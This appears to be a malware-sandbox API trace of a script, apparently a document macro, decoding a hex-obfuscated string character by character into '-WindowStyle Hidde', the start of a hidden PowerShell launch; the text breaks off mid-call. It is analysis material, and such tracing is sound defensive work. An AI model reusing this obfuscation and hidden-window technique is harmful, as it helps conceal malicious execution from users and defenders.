rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x80020005 [0071.893] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da875d8, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0071.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0071.893] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0071.893] VarBstrCat (in: bstrLeft="", bstrRight="", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.893] VarBstrCat (in: bstrLeft="&H", bstrRight="5A", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.893] VarParseNumFromStr (in: strIn="&H5A", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.893] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.893] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="Z") returned 1 [0071.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Z", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Z£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.894] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="-") returned 1 [0071.894] VarBstrCat (in: bstrLeft=0x0, bstrRight="-", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.894] VarBstrCat (in: bstrLeft="&H", bstrRight="AE", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.894] VarParseNumFromStr (in: strIn="&HAE", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.894] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.894] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f98, cchWideChar=1 | out: lpWideCharStr="®") returned 1 [0071.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="®", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="®£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.894] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="W") returned 1 [0071.894] VarBstrCat (in: bstrLeft="-", bstrRight="W", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.894] VarBstrCat (in: bstrLeft="&H", bstrRight="D2", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.894] VarParseNumFromStr (in: strIn="&HD2", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.894] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.894] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="Ò") returned 1 [0071.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ò", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ò£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.895] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f98, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0071.895] VarBstrCat (in: bstrLeft="-W", bstrRight="i", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.895] VarBstrCat (in: bstrLeft="&H", bstrRight="DC", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.895] VarParseNumFromStr (in: strIn="&HDC", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.895] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.895] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="Ü") returned 1 [0071.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ü", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ü£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.895] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0071.895] VarBstrCat (in: bstrLeft="-Wi", bstrRight="n", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.895] VarBstrCat (in: bstrLeft="&H", bstrRight="C8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.895] VarParseNumFromStr (in: strIn="&HC8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.895] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.895] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f98, cchWideChar=1 | out: lpWideCharStr="È") returned 1 [0071.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="È", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="È£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.896] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0071.896] VarBstrCat (in: bstrLeft="-Win", bstrRight="d", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.896] VarBstrCat (in: bstrLeft="&H", bstrRight="DE", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.896] VarParseNumFromStr (in: strIn="&HDE", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.896] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.896] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="Þ") returned 1 [0071.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Þ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Þ£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.896] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f98, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0071.896] VarBstrCat (in: bstrLeft="-Wind", bstrRight="o", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.896] VarBstrCat (in: bstrLeft="&H", bstrRight="EE", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.896] VarParseNumFromStr (in: strIn="&HEE", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.896] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.896] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="î") returned 1 [0071.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="î", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.896] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="w") returned 1 [0071.897] VarBstrCat (in: bstrLeft="-Windo", bstrRight="w", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.897] VarBstrCat (in: bstrLeft="&H", bstrRight="A6", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.897] VarParseNumFromStr (in: strIn="&HA6", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.897] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.897] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f98, cchWideChar=1 | out: lpWideCharStr="¦") returned 1 [0071.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="¦", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="¦£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.897] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="S") returned 1 [0071.897] VarBstrCat (in: bstrLeft="-Window", bstrRight="S", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.897] VarBstrCat (in: bstrLeft="&H", bstrRight="E8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.897] VarParseNumFromStr (in: strIn="&HE8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.897] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.897] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="è") returned 1 [0071.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="è", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="裵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.897] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f98, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0071.897] VarBstrCat (in: bstrLeft="-WindowS", bstrRight="t", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.898] VarBstrCat (in: bstrLeft="&H", bstrRight="F2", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.898] VarParseNumFromStr (in: strIn="&HF2", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.898] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.898] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="ò") returned 1 [0071.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ò", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ò£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.898] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="y") returned 1 [0071.898] VarBstrCat (in: bstrLeft="-WindowSt", bstrRight="y", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.898] VarBstrCat (in: bstrLeft="&H", bstrRight="D8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.898] VarParseNumFromStr (in: strIn="&HD8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.898] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.898] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f98, cchWideChar=1 | out: lpWideCharStr="Ø") returned 1 [0071.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ø", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ø£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.898] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0071.898] VarBstrCat (in: bstrLeft="-WindowSty", bstrRight="l", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.899] VarBstrCat (in: bstrLeft="&H", bstrRight="CA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.899] VarParseNumFromStr (in: strIn="&HCA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.899] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.899] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="Ê") returned 1 [0071.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ê£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.899] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f98, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0071.899] VarBstrCat (in: bstrLeft="-WindowStyl", bstrRight="e", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.899] VarBstrCat (in: bstrLeft="&H", bstrRight="40", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.899] VarParseNumFromStr (in: strIn="&H40", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.899] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.899] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="@") returned 1 [0071.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.899] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0071.899] VarBstrCat (in: bstrLeft="-WindowStyle", bstrRight=" ", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.900] VarBstrCat (in: bstrLeft="&H", bstrRight="90", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.900] VarParseNumFromStr (in: strIn="&H90", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.900] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.900] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="\x90") returned 1 [0071.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x90", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x90£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.900] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0071.900] VarBstrCat (in: bstrLeft="-WindowStyle ", bstrRight="H", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.900] VarBstrCat (in: bstrLeft="&H", bstrRight="D2", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.900] VarParseNumFromStr (in: strIn="&HD2", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.900] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.900] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="Ò") returned 1 [0071.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ò", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ò£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.900] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0071.900] VarBstrCat (in: bstrLeft="-WindowStyle H", bstrRight="i", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.901] VarBstrCat (in: bstrLeft="&H", bstrRight="C8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.901] VarParseNumFromStr (in: strIn="&HC8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.901] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.901] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="È") returned 1 [0071.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="È", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="È£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.901] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0071.901] VarBstrCat (in: bstrLeft="-WindowStyle Hi", bstrRight="d", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.901] VarBstrCat (in: bstrLeft="&H", bstrRight="C8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.901] VarParseNumFromStr (in: strIn="&HC8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.901] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.901] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="È") returned 1 [0071.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="È", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="È£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.901] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0071.901] VarBstrCat (in: bstrLeft="-WindowStyle Hid", bstrRight="d", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.902] VarBstrCat (in: bstrLeft="&H", bstrRight="CA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.902] VarParseNumFromStr (in: strIn="&HCA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.902] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.902] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="Ê") returned 1 [0071.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ê£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.902] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0071.902] VarBstrCat (in: bstrLeft="-WindowStyle Hidd", bstrRight="e", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.902] VarBstrCat (in: bstrLeft="&H", bstrRight="DC", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.902] VarParseNumFromStr (in: strIn="&HDC", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.902] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.902] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: 